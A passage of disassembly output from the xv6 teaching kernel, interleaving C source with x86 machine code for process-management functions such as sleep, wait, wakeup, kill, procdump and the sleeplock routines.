&ptable.proc[NPROC]; p++) 80103ba0: 81 c2 84 00 00 00 add $0x84,%edx 80103ba6: 81 fa 54 4e 11 80 cmp $0x80114e54,%edx 80103bac: 74 ca je 80103b78 <exit+0xb8> if(p->state == SLEEPING && p->chan == chan) 80103bae: 83 7a 0c 02 cmpl $0x2,0xc(%edx) 80103bb2: 75 ec jne 80103ba0 <exit+0xe0> 80103bb4: 3b 42 20 cmp 0x20(%edx),%eax 80103bb7: 75 e7 jne 80103ba0 <exit+0xe0> p->state = RUNNABLE; 80103bb9: c7 42 0c 03 00 00 00 movl $0x3,0xc(%edx) 80103bc0: eb de jmp 80103ba0 <exit+0xe0> wakeup1(initproc); } } // Jump into the scheduler, never to return. curproc->state = ZOMBIE; 80103bc2: c7 43 0c 05 00 00 00 movl $0x5,0xc(%ebx) sched(); 80103bc9: e8 52 fe ff ff call 80103a20 <sched> panic("zombie exit"); 80103bce: c7 04 24 3d 76 10 80 movl $0x8010763d,(%esp) 80103bd5: e8 86 c7 ff ff call 80100360 <panic> struct proc *curproc = myproc(); struct proc *p; int fd; if(curproc == initproc) panic("init exiting"); 80103bda: c7 04 24 30 76 10 80 movl $0x80107630,(%esp) 80103be1: e8 7a c7 ff ff call 80100360 <panic> 80103be6: 8d 76 00 lea 0x0(%esi),%esi 80103be9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80103bf0 <yield>: } // Give up the CPU for one scheduling round. void yield(void) { 80103bf0: 55 push %ebp 80103bf1: 89 e5 mov %esp,%ebp 80103bf3: 83 ec 18 sub $0x18,%esp acquire(&ptable.lock); //DOC: yieldlock 80103bf6: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 80103bfd: e8 2e 06 00 00 call 80104230 <acquire> myproc()->state = RUNNABLE; 80103c02: e8 a9 fa ff ff call 801036b0 <myproc> 80103c07: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax) sched(); 80103c0e: e8 0d fe ff ff call 80103a20 <sched> release(&ptable.lock); 80103c13: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 80103c1a: e8 81 06 00 00 call 801042a0 <release> } 80103c1f: c9 leave 80103c20: c3 ret 80103c21: eb 0d jmp 80103c30 <sleep> 80103c23: 90 nop 80103c24: 90 nop 80103c25: 90 nop 80103c26: 90 nop 80103c27: 90 nop 80103c28: 90 nop 80103c29: 90 nop 80103c2a: 90 nop 80103c2b: 90 nop 80103c2c: 90 nop 80103c2d: 90 nop 80103c2e: 90 nop 80103c2f: 90 nop 80103c30 <sleep>: // Atomically release lock and sleep on chan. // Reacquires lock when awakened. void sleep(void *chan, struct spinlock *lk) { 80103c30: 55 push %ebp 80103c31: 89 e5 mov %esp,%ebp 80103c33: 57 push %edi 80103c34: 56 push %esi 80103c35: 53 push %ebx 80103c36: 83 ec 1c sub $0x1c,%esp 80103c39: 8b 7d 08 mov 0x8(%ebp),%edi 80103c3c: 8b 75 0c mov 0xc(%ebp),%esi struct proc *p = myproc(); 80103c3f: e8 6c fa ff ff call 801036b0 <myproc> if(p == 0) 80103c44: 85 c0 test %eax,%eax // Atomically release lock and sleep on chan. // Reacquires lock when awakened. void sleep(void *chan, struct spinlock *lk) { struct proc *p = myproc(); 80103c46: 89 c3 mov %eax,%ebx if(p == 0) 80103c48: 0f 84 7c 00 00 00 je 80103cca <sleep+0x9a> panic("sleep"); if(lk == 0) 80103c4e: 85 f6 test %esi,%esi 80103c50: 74 6c je 80103cbe <sleep+0x8e> // change p->state and then call sched. // Once we hold ptable.lock, we can be // guaranteed that we won't miss any wakeup // (wakeup runs with ptable.lock locked), // so it's okay to release lk. if(lk != &ptable.lock){ //DOC: sleeplock0 80103c52: 81 fe 20 2d 11 80 cmp $0x80112d20,%esi 80103c58: 74 46 je 80103ca0 <sleep+0x70> acquire(&ptable.lock); //DOC: sleeplock1 80103c5a: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 80103c61: e8 ca 05 00 00 call 80104230 <acquire> release(lk); 80103c66: 89 34 24 mov %esi,(%esp) 80103c69: e8 32 06 00 00 call 801042a0 <release> } // Go to sleep. p->chan = chan; 80103c6e: 89 7b 20 mov %edi,0x20(%ebx) p->state = SLEEPING; 80103c71: c7 43 0c 02 00 00 00 movl $0x2,0xc(%ebx) sched(); 80103c78: e8 a3 fd ff ff call 80103a20 <sched> // Tidy up. p->chan = 0; 80103c7d: c7 43 20 00 00 00 00 movl $0x0,0x20(%ebx) // Reacquire original lock. if(lk != &ptable.lock){ //DOC: sleeplock2 release(&ptable.lock); 80103c84: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 80103c8b: e8 10 06 00 00 call 801042a0 <release> acquire(lk); 80103c90: 89 75 08 mov %esi,0x8(%ebp) } } 80103c93: 83 c4 1c add $0x1c,%esp 80103c96: 5b pop %ebx 80103c97: 5e pop %esi 80103c98: 5f pop %edi 80103c99: 5d pop %ebp p->chan = 0; // Reacquire original lock. if(lk != &ptable.lock){ //DOC: sleeplock2 release(&ptable.lock); acquire(lk); 80103c9a: e9 91 05 00 00 jmp 80104230 <acquire> 80103c9f: 90 nop if(lk != &ptable.lock){ //DOC: sleeplock0 acquire(&ptable.lock); //DOC: sleeplock1 release(lk); } // Go to sleep. p->chan = chan; 80103ca0: 89 78 20 mov %edi,0x20(%eax) p->state = SLEEPING; 80103ca3: c7 40 0c 02 00 00 00 movl $0x2,0xc(%eax) sched(); 80103caa: e8 71 fd ff ff call 80103a20 <sched> // Tidy up. p->chan = 0; 80103caf: c7 43 20 00 00 00 00 movl $0x0,0x20(%ebx) // Reacquire original lock. if(lk != &ptable.lock){ //DOC: sleeplock2 release(&ptable.lock); acquire(lk); } } 80103cb6: 83 c4 1c add $0x1c,%esp 80103cb9: 5b pop %ebx 80103cba: 5e pop %esi 80103cbb: 5f pop %edi 80103cbc: 5d pop %ebp 80103cbd: c3 ret if(p == 0) panic("sleep"); if(lk == 0) panic("sleep without lk"); 80103cbe: c7 04 24 4f 76 10 80 movl $0x8010764f,(%esp) 80103cc5: e8 96 c6 ff ff call 80100360 <panic> sleep(void *chan, struct spinlock *lk) { struct proc *p = myproc(); if(p == 0) panic("sleep"); 80103cca: c7 04 24 49 76 10 80 movl $0x80107649,(%esp) 80103cd1: e8 8a c6 ff ff call 80100360 <panic> 80103cd6: 8d 76 00 lea 0x0(%esi),%esi 80103cd9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80103ce0 <wait>: // Wait for a child process to exit and return its pid. // Return -1 if this process has no children. int wait(void) { 80103ce0: 55 push %ebp 80103ce1: 89 e5 mov %esp,%ebp 80103ce3: 56 push %esi 80103ce4: 53 push %ebx 80103ce5: 83 ec 10 sub $0x10,%esp struct proc *p; int havekids, pid; struct proc *curproc = myproc(); 80103ce8: e8 c3 f9 ff ff call 801036b0 <myproc> acquire(&ptable.lock); 80103ced: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) int wait(void) { struct proc *p; int havekids, pid; struct proc *curproc = myproc(); 80103cf4: 89 c6 mov %eax,%esi acquire(&ptable.lock); 80103cf6: e8 35 05 00 00 call 80104230 <acquire> for(;;){ // Scan through table looking for exited children. havekids = 0; 80103cfb: 31 c0 xor %eax,%eax for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103cfd: bb 54 2d 11 80 mov $0x80112d54,%ebx 80103d02: eb 12 jmp 80103d16 <wait+0x36> 80103d04: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80103d08: 81 c3 84 00 00 00 add $0x84,%ebx 80103d0e: 81 fb 54 4e 11 80 cmp $0x80114e54,%ebx 80103d14: 74 22 je 80103d38 <wait+0x58> if(p->parent != curproc) 80103d16: 39 73 14 cmp %esi,0x14(%ebx) 80103d19: 75 ed jne 80103d08 <wait+0x28> continue; havekids = 1; if(p->state == ZOMBIE){ 80103d1b: 83 7b 0c 05 cmpl $0x5,0xc(%ebx) 80103d1f: 74 34 je 80103d55 <wait+0x75> acquire(&ptable.lock); for(;;){ // Scan through table looking for exited children. havekids = 0; for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103d21: 81 c3 84 00 00 00 add $0x84,%ebx if(p->parent != curproc) continue; havekids = 1; 80103d27: b8 01 00 00 00 mov $0x1,%eax acquire(&ptable.lock); for(;;){ // Scan through table looking for exited children. havekids = 0; for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103d2c: 81 fb 54 4e 11 80 cmp $0x80114e54,%ebx 80103d32: 75 e2 jne 80103d16 <wait+0x36> 80103d34: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return pid; } } // No point waiting if we don't have any children. if(!havekids || curproc->killed){ 80103d38: 85 c0 test %eax,%eax 80103d3a: 74 6e je 80103daa <wait+0xca> 80103d3c: 8b 46 24 mov 0x24(%esi),%eax 80103d3f: 85 c0 test %eax,%eax 80103d41: 75 67 jne 80103daa <wait+0xca> release(&ptable.lock); return -1; } // Wait for children to exit. (See wakeup1 call in proc_exit.) sleep(curproc, &ptable.lock); //DOC: wait-sleep 80103d43: c7 44 24 04 20 2d 11 movl $0x80112d20,0x4(%esp) 80103d4a: 80 80103d4b: 89 34 24 mov %esi,(%esp) 80103d4e: e8 dd fe ff ff call 80103c30 <sleep> } 80103d53: eb a6 jmp 80103cfb <wait+0x1b> continue; havekids = 1; if(p->state == ZOMBIE){ // Found one. pid = p->pid; kfree(p->kstack); 80103d55: 8b 43 08 mov 0x8(%ebx),%eax if(p->parent != curproc) continue; havekids = 1; if(p->state == ZOMBIE){ // Found one. pid = p->pid; 80103d58: 8b 73 10 mov 0x10(%ebx),%esi kfree(p->kstack); 80103d5b: 89 04 24 mov %eax,(%esp) 80103d5e: e8 9d e5 ff ff call 80102300 <kfree> p->kstack = 0; freevm(p->pgdir); 80103d63: 8b 43 04 mov 0x4(%ebx),%eax havekids = 1; if(p->state == ZOMBIE){ // Found one. pid = p->pid; kfree(p->kstack); p->kstack = 0; 80103d66: c7 43 08 00 00 00 00 movl $0x0,0x8(%ebx) freevm(p->pgdir); 80103d6d: 89 04 24 mov %eax,(%esp) 80103d70: e8 bb 2f 00 00 call 80106d30 <freevm> p->pid = 0; p->parent = 0; p->name[0] = 0; p->killed = 0; p->state = UNUSED; release(&ptable.lock); 80103d75: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) // Found one. pid = p->pid; kfree(p->kstack); p->kstack = 0; freevm(p->pgdir); p->pid = 0; 80103d7c: c7 43 10 00 00 00 00 movl $0x0,0x10(%ebx) p->parent = 0; 80103d83: c7 43 14 00 00 00 00 movl $0x0,0x14(%ebx) p->name[0] = 0; 80103d8a: c6 43 6c 00 movb $0x0,0x6c(%ebx) p->killed = 0; 80103d8e: c7 43 24 00 00 00 00 movl $0x0,0x24(%ebx) p->state = UNUSED; 80103d95: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx) release(&ptable.lock); 80103d9c: e8 ff 04 00 00 call 801042a0 <release> } // Wait for children to exit. (See wakeup1 call in proc_exit.) sleep(curproc, &ptable.lock); //DOC: wait-sleep } } 80103da1: 83 c4 10 add $0x10,%esp p->parent = 0; p->name[0] = 0; p->killed = 0; p->state = UNUSED; release(&ptable.lock); return pid; 80103da4: 89 f0 mov %esi,%eax } // Wait for children to exit. (See wakeup1 call in proc_exit.) sleep(curproc, &ptable.lock); //DOC: wait-sleep } } 80103da6: 5b pop %ebx 80103da7: 5e pop %esi 80103da8: 5d pop %ebp 80103da9: c3 ret } } // No point waiting if we don't have any children. if(!havekids || curproc->killed){ release(&ptable.lock); 80103daa: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 80103db1: e8 ea 04 00 00 call 801042a0 <release> } // Wait for children to exit. (See wakeup1 call in proc_exit.) sleep(curproc, &ptable.lock); //DOC: wait-sleep } } 80103db6: 83 c4 10 add $0x10,%esp } // No point waiting if we don't have any children. if(!havekids || curproc->killed){ release(&ptable.lock); return -1; 80103db9: b8 ff ff ff ff mov $0xffffffff,%eax } // Wait for children to exit. (See wakeup1 call in proc_exit.) sleep(curproc, &ptable.lock); //DOC: wait-sleep } } 80103dbe: 5b pop %ebx 80103dbf: 5e pop %esi 80103dc0: 5d pop %ebp 80103dc1: c3 ret 80103dc2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80103dc9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80103dd0 <wakeup>: } // Wake up all processes sleeping on chan. void wakeup(void *chan) { 80103dd0: 55 push %ebp 80103dd1: 89 e5 mov %esp,%ebp 80103dd3: 53 push %ebx 80103dd4: 83 ec 14 sub $0x14,%esp 80103dd7: 8b 5d 08 mov 0x8(%ebp),%ebx acquire(&ptable.lock); 80103dda: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 80103de1: e8 4a 04 00 00 call 80104230 <acquire> static void wakeup1(void *chan) { struct proc *p; for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80103de6: b8 54 2d 11 80 mov $0x80112d54,%eax 80103deb: eb 0f jmp 80103dfc <wakeup+0x2c> 80103ded: 8d 76 00 lea 0x0(%esi),%esi 80103df0: 05 84 00 00 00 add $0x84,%eax 80103df5: 3d 54 4e 11 80 cmp $0x80114e54,%eax 80103dfa: 74 24 je 80103e20 <wakeup+0x50> if(p->state == SLEEPING && p->chan == chan) 80103dfc: 83 78 0c 02 cmpl $0x2,0xc(%eax) 80103e00: 75 ee jne 80103df0 <wakeup+0x20> 80103e02: 3b 58 20 cmp 0x20(%eax),%ebx 80103e05: 75 e9 jne 80103df0 <wakeup+0x20> p->state = RUNNABLE; 80103e07: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax) static void wakeup1(void *chan) { struct proc *p; for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80103e0e: 05 84 00 00 00 add $0x84,%eax 80103e13: 3d 54 4e 11 80 cmp $0x80114e54,%eax 80103e18: 75 e2 jne 80103dfc <wakeup+0x2c> 80103e1a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi void wakeup(void *chan) { acquire(&ptable.lock); wakeup1(chan); release(&ptable.lock); 80103e20: c7 45 08 20 2d 11 80 movl $0x80112d20,0x8(%ebp) } 80103e27: 83 c4 14 add $0x14,%esp 80103e2a: 5b pop %ebx 80103e2b: 5d pop %ebp void wakeup(void *chan) { acquire(&ptable.lock); wakeup1(chan); release(&ptable.lock); 80103e2c: e9 6f 04 00 00 jmp 801042a0 <release> 80103e31: eb 0d jmp 80103e40 <kill> 80103e33: 90 nop 80103e34: 90 nop 80103e35: 90 nop 80103e36: 90 nop 80103e37: 90 nop 80103e38: 90 nop 80103e39: 90 nop 80103e3a: 90 nop 80103e3b: 90 nop 80103e3c: 90 nop 80103e3d: 90 nop 80103e3e: 90 nop 80103e3f: 90 nop 80103e40 <kill>: // Kill the process with the given pid. // Process won't exit until it returns // to user space (see trap in trap.c). int kill(int pid) { 80103e40: 55 push %ebp 80103e41: 89 e5 mov %esp,%ebp 80103e43: 53 push %ebx 80103e44: 83 ec 14 sub $0x14,%esp 80103e47: 8b 5d 08 mov 0x8(%ebp),%ebx struct proc *p; acquire(&ptable.lock); 80103e4a: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 80103e51: e8 da 03 00 00 call 80104230 <acquire> for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103e56: b8 54 2d 11 80 mov $0x80112d54,%eax 80103e5b: eb 0f jmp 80103e6c <kill+0x2c> 80103e5d: 8d 76 00 lea 0x0(%esi),%esi 80103e60: 05 84 00 00 00 add $0x84,%eax 80103e65: 3d 54 4e 11 80 cmp $0x80114e54,%eax 80103e6a: 74 3c je 80103ea8 <kill+0x68> if(p->pid == pid){ 80103e6c: 39 58 10 cmp %ebx,0x10(%eax) 80103e6f: 75 ef jne 80103e60 <kill+0x20> p->killed = 1; // Wake process from sleep if necessary. if(p->state == SLEEPING) 80103e71: 83 78 0c 02 cmpl $0x2,0xc(%eax) struct proc *p; acquire(&ptable.lock); for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ if(p->pid == pid){ p->killed = 1; 80103e75: c7 40 24 01 00 00 00 movl $0x1,0x24(%eax) // Wake process from sleep if necessary. if(p->state == SLEEPING) 80103e7c: 74 1a je 80103e98 <kill+0x58> p->state = RUNNABLE; release(&ptable.lock); 80103e7e: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 80103e85: e8 16 04 00 00 call 801042a0 <release> return 0; } } release(&ptable.lock); return -1; } 80103e8a: 83 c4 14 add $0x14,%esp p->killed = 1; // Wake process from sleep if necessary. if(p->state == SLEEPING) p->state = RUNNABLE; release(&ptable.lock); return 0; 80103e8d: 31 c0 xor %eax,%eax } } release(&ptable.lock); return -1; } 80103e8f: 5b pop %ebx 80103e90: 5d pop %ebp 80103e91: c3 ret 80103e92: 8d b6 00 00 00 00 lea 0x0(%esi),%esi for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ if(p->pid == pid){ p->killed = 1; // Wake process from sleep if necessary. if(p->state == SLEEPING) p->state = RUNNABLE; 80103e98: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax) 80103e9f: eb dd jmp 80103e7e <kill+0x3e> 80103ea1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi release(&ptable.lock); return 0; } } release(&ptable.lock); 80103ea8: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 80103eaf: e8 ec 03 00 00 call 801042a0 <release> return -1; } 80103eb4: 83 c4 14 add $0x14,%esp release(&ptable.lock); return 0; } } release(&ptable.lock); return -1; 80103eb7: b8 ff ff ff ff mov $0xffffffff,%eax } 80103ebc: 5b pop %ebx 80103ebd: 5d pop %ebp 80103ebe: c3 ret 80103ebf: 90 nop 80103ec0 <procdump>: // Print a process listing to console. For debugging. // Runs when user types ^P on console. // No lock to avoid wedging a stuck machine further. void procdump(void) { 80103ec0: 55 push %ebp 80103ec1: 89 e5 mov %esp,%ebp 80103ec3: 57 push %edi 80103ec4: 56 push %esi 80103ec5: 53 push %ebx 80103ec6: bb c0 2d 11 80 mov $0x80112dc0,%ebx 80103ecb: 83 ec 4c sub $0x4c,%esp 80103ece: 8d 75 e8 lea -0x18(%ebp),%esi 80103ed1: eb 23 jmp 80103ef6 <procdump+0x36> 80103ed3: 90 nop 80103ed4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(p->state == SLEEPING){ getcallerpcs((uint*)p->context->ebp+2, pc); for(i=0; i<10 && pc[i] != 0; i++) cprintf(" %p", pc[i]); } cprintf("\n"); 80103ed8: c7 04 24 5b 7b 10 80 movl $0x80107b5b,(%esp) 80103edf: e8 6c c7 ff ff call 80100650 <cprintf> 80103ee4: 81 c3 84 00 00 00 add $0x84,%ebx int i; struct proc *p; char *state; uint pc[10]; for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103eea: 81 fb c0 4e 11 80 cmp $0x80114ec0,%ebx 80103ef0: 0f 84 8a 00 00 00 je 80103f80 <procdump+0xc0> if(p->state == UNUSED) 80103ef6: 8b 43 a0 mov -0x60(%ebx),%eax 80103ef9: 85 c0 test %eax,%eax 80103efb: 74 e7 je 80103ee4 <procdump+0x24> continue; if(p->state >= 0 && p->state < NELEM(states) && states[p->state]) 80103efd: 83 f8 05 cmp $0x5,%eax state = states[p->state]; else state = "???"; 80103f00: ba 60 76 10 80 mov $0x80107660,%edx uint pc[10]; for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ if(p->state == UNUSED) continue; if(p->state >= 0 && p->state < NELEM(states) && states[p->state]) 80103f05: 77 11 ja 80103f18 <procdump+0x58> 80103f07: 8b 14 85 c0 76 10 80 mov -0x7fef8940(,%eax,4),%edx state = states[p->state]; else state = "???"; 80103f0e: b8 60 76 10 80 mov $0x80107660,%eax 80103f13: 85 d2 test %edx,%edx 80103f15: 0f 44 d0 cmove %eax,%edx cprintf("%d %s %s", p->pid, state, p->name); 80103f18: 8b 43 a4 mov -0x5c(%ebx),%eax 80103f1b: 89 5c 24 0c mov %ebx,0xc(%esp) 80103f1f: 89 54 24 08 mov %edx,0x8(%esp) 80103f23: c7 04 24 64 76 10 80 movl $0x80107664,(%esp) 80103f2a: 89 44 24 04 mov %eax,0x4(%esp) 80103f2e: e8 1d c7 ff ff call 80100650 <cprintf> if(p->state == SLEEPING){ 80103f33: 83 7b a0 02 cmpl $0x2,-0x60(%ebx) 80103f37: 75 9f jne 80103ed8 <procdump+0x18> getcallerpcs((uint*)p->context->ebp+2, pc); 80103f39: 8d 45 c0 lea -0x40(%ebp),%eax 80103f3c: 89 44 24 04 mov %eax,0x4(%esp) 80103f40: 8b 43 b0 mov -0x50(%ebx),%eax 80103f43: 8d 7d c0 lea -0x40(%ebp),%edi 80103f46: 8b 40 0c mov 0xc(%eax),%eax 80103f49: 83 c0 08 add $0x8,%eax 80103f4c: 89 04 24 mov %eax,(%esp) 80103f4f: e8 8c 01 00 00 call 801040e0 <getcallerpcs> 80103f54: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi for(i=0; i<10 && pc[i] != 0; i++) 80103f58: 8b 17 mov (%edi),%edx 80103f5a: 85 d2 test %edx,%edx 80103f5c: 0f 84 76 ff ff ff je 80103ed8 <procdump+0x18> cprintf(" %p", pc[i]); 80103f62: 89 54 24 04 mov %edx,0x4(%esp) 80103f66: 83 c7 04 add $0x4,%edi 80103f69: c7 04 24 a1 70 10 80 movl $0x801070a1,(%esp) 80103f70: e8 db c6 ff ff call 80100650 <cprintf> else state = "???"; cprintf("%d %s %s", p->pid, state, p->name); if(p->state == SLEEPING){ getcallerpcs((uint*)p->context->ebp+2, pc); for(i=0; i<10 && pc[i] != 0; i++) 80103f75: 39 f7 cmp %esi,%edi 80103f77: 75 df jne 80103f58 <procdump+0x98> 80103f79: e9 5a ff ff ff jmp 80103ed8 <procdump+0x18> 80103f7e: 66 90 xchg %ax,%ax cprintf(" %p", pc[i]); } cprintf("\n"); } } 80103f80: 83 c4 4c add $0x4c,%esp 80103f83: 5b pop %ebx 80103f84: 5e pop %esi 80103f85: 5f pop %edi 80103f86: 5d pop %ebp 80103f87: c3 ret 80103f88: 66 90 xchg %ax,%ax 80103f8a: 66 90 xchg %ax,%ax 80103f8c: 66 90 xchg %ax,%ax 80103f8e: 66 90 xchg %ax,%ax 80103f90 <initsleeplock>: #include "spinlock.h" #include "sleeplock.h" void initsleeplock(struct sleeplock *lk, char *name) { 80103f90: 55 push %ebp 80103f91: 89 e5 mov %esp,%ebp 80103f93: 53 push %ebx 80103f94: 83 ec 14 sub $0x14,%esp 80103f97: 8b 5d 08 mov 0x8(%ebp),%ebx initlock(&lk->lk, "sleep lock"); 80103f9a: c7 44 24 04 d8 76 10 movl $0x801076d8,0x4(%esp) 80103fa1: 80 80103fa2: 8d 43 04 lea 0x4(%ebx),%eax 80103fa5: 89 04 24 mov %eax,(%esp) 80103fa8: e8 13 01 00 00 call 801040c0 <initlock> lk->name = name; 80103fad: 8b 45 0c mov 0xc(%ebp),%eax lk->locked = 0; 80103fb0: c7 03 00 00 00 00 movl $0x0,(%ebx) lk->pid = 0; 80103fb6: c7 43 3c 00 00 00 00 movl $0x0,0x3c(%ebx) void initsleeplock(struct sleeplock *lk, char *name) { initlock(&lk->lk, "sleep lock"); lk->name = name; 80103fbd: 89 43 38 mov %eax,0x38(%ebx) lk->locked = 0; lk->pid = 0; } 80103fc0: 83 c4 14 add $0x14,%esp 80103fc3: 5b pop %ebx 80103fc4: 5d pop %ebp 80103fc5: c3 ret 80103fc6: 8d 76 00 lea 0x0(%esi),%esi 80103fc9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80103fd0 <acquiresleep>: void acquiresleep(struct sleeplock *lk) { 80103fd0: 55 push %ebp 80103fd1: 89 e5 mov %esp,%ebp 80103fd3: 56 push %esi 80103fd4: 53 push %ebx 80103fd5: 83 ec 10 sub $0x10,%esp 80103fd8: 8b 5d 08 mov 0x8(%ebp),%ebx acquire(&lk->lk); 80103fdb: 8d 73 04 lea 0x4(%ebx),%esi 80103fde: 89 34 24 mov %esi,(%esp) 80103fe1: e8 4a 02 00 00 call 80104230 <acquire> while (lk->locked) { 80103fe6: 8b 13 mov (%ebx),%edx 80103fe8: 85 d2 test %edx,%edx 80103fea: 74 16 je 80104002 <acquiresleep+0x32> 80103fec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi sleep(lk, &lk->lk); 80103ff0: 89 74 24 04 mov %esi,0x4(%esp) 80103ff4: 89 1c 24 mov %ebx,(%esp) 80103ff7: e8 34 fc ff ff call 80103c30 <sleep> void acquiresleep(struct sleeplock *lk) { acquire(&lk->lk); while (lk->locked) { 80103ffc: 8b 03 mov (%ebx),%eax 80103ffe: 85 c0 test %eax,%eax 80104000: 75 ee jne 80103ff0 <acquiresleep+0x20> sleep(lk, &lk->lk); } lk->locked = 1; 80104002: c7 03 01 00 00 00 movl $0x1,(%ebx) lk->pid = myproc()->pid; 80104008: e8 a3 f6 ff ff call 801036b0 <myproc> 8010400d: 8b 40 10 mov 0x10(%eax),%eax 80104010: 89 43 3c mov %eax,0x3c(%ebx) release(&lk->lk); 80104013: 89 75 08 mov %esi,0x8(%ebp) } 80104016: 83 c4 10 add $0x10,%esp 80104019: 5b pop %ebx 8010401a: 5e pop %esi 8010401b: 5d pop %ebp while (lk->locked) { sleep(lk, &lk->lk); } lk->locked = 1; lk->pid = myproc()->pid; release(&lk->lk); 8010401c: e9 7f 02 00 00 jmp 801042a0 <release> 80104021: eb 0d jmp 80104030 <releasesleep> 80104023: 90 nop 80104024: 90 nop 80104025: 90 nop 80104026: 90 nop 80104027: 90 nop 80104028: 90 nop 80104029: 90 nop 8010402a: 90 nop 8010402b: 90 nop 8010402c: 90 nop 8010402d: 90 nop 8010402e: 90 nop 8010402f: 90 nop 80104030 <releasesleep>: } void releasesleep(struct sleeplock *lk) { 80104030: 55 push %ebp 80104031: 89 e5 mov %esp,%ebp 80104033: 56 push %esi 80104034: 53 push %ebx 80104035: 83 ec 10 sub $0x10,%esp 80104038: 8b 5d 08 mov 0x8(%ebp),%ebx acquire(&lk->lk); 8010403b: 8d 73 04 lea 0x4(%ebx),%esi 8010403e: 89 34 24 mov %esi,(%esp) 80104041: e8 ea 01 00 00 call 80104230 <acquire> lk->locked = 0; 80104046: c7 03 00 00 00 00 movl $0x0,(%ebx) lk->pid = 0; 8010404c: c7 43 3c 00 00 00 00 movl $0x0,0x3c(%ebx) wakeup(lk); 80104053: 89 1c 24 mov %ebx,(%esp) 80104056: e8 75 fd ff ff call 80103dd0 <wakeup> release(&lk->lk); 8010405b: 89 75 08 mov %esi,0x8(%ebp) } 8010405e: 83 c4 10 add $0x10,%esp 80104061: 5b pop %ebx 80104062: 5e pop %esi 80104063: 5d pop %ebp { acquire(&lk->lk); lk->locked = 0; lk->pid = 0; wakeup(lk); release(&lk->lk); 80104064: e9 37 02 00 00 jmp 801042a0 <release> 80104069: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80104070 <holdingsleep>: } int holdingsleep(struct sleeplock *lk) { 80104070: 55 push %ebp 80104071: 89 e5 mov %esp,%ebp 80104073: 57 push %edi int r; acquire(&lk->lk); r = lk->locked && (lk->pid == myproc()->pid); 80104074: 31 ff xor %edi,%edi release(&lk->lk); } int holdingsleep(struct sleeplock *lk) { 80104076: 56 push %esi 80104077: 53 push %ebx 80104078: 83 ec 1c sub $0x1c,%esp 8010407b: 8b 5d 08 mov 0x8(%ebp),%ebx int r; acquire(&lk->lk); 8010407e: 8d 73 04 lea 0x4(%ebx),%esi 80104081: 89 34 24 mov %esi,(%esp) 80104084: e8 a7 01 00 00 call 80104230 <acquire> r = lk->locked && (lk->pid == myproc()->pid); 80104089: 8b 03 mov (%ebx),%eax 8010408b: 85 c0 test %eax,%eax 8010408d: 74 13 je 801040a2 <holdingsleep+0x32> 8010408f: 8b 5b 3c mov 0x3c(%ebx),%ebx 80104092: e8 19 f6 ff ff call 801036b0 <myproc> 80104097: 3b 58 10 cmp 0x10(%eax),%ebx 8010409a: 0f 94 c0 sete %al 8010409d: 0f b6 c0 movzbl %al,%eax 801040a0: 89 c7 mov %eax,%edi release(&lk->lk); 801040a2: 89 34 24 mov %esi,(%esp) 801040a5: e8 f6 01 00 00 call 801042a0 <release> return r; } 801040aa: 83 c4 1c add $0x1c,%esp 801040ad: 89 f8 mov %edi,%eax 801040af: 5b pop %ebx 801040b0: 5e pop %esi 801040b1: 5f pop %edi 801040b2: 5d pop %ebp 801040b3: c3 ret 801040b4: 66 90 xchg %ax,%ax 801040b6: 66 90 xchg %ax,%ax 801040b8: 66 90 xchg %ax,%ax 801040ba: 66 90 xchg %ax,%ax 801040bc: 66 90 xchg %ax,%ax 801040be: 66 90 xchg %ax,%ax 801040c0 <initlock>: #include "proc.h" #include "spinlock.h" void initlock(struct spinlock *lk, char *name) { 801040c0: 55 push %ebp 801040c1: 89 e5 mov %esp,%ebp 801040c3: 8b 45 08 mov 0x8(%ebp),%eax lk->name = name; 801040c6: 8b 55 0c mov 0xc(%ebp),%edx lk->locked = 0; 801040c9: c7 00 00 00 00 00 movl $0x0,(%eax) #include "spinlock.h" void initlock(struct spinlock *lk, char *name) { lk->name = name; 801040cf: 89 50 04 mov %edx,0x4(%eax) lk->locked = 0; lk->cpu = 0; 801040d2: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax) } 801040d9: 5d pop %ebp 801040da: c3 ret 801040db: 90 nop 801040dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801040e0 <getcallerpcs>: } // Record the current call stack in pcs[] by following the %ebp chain. void 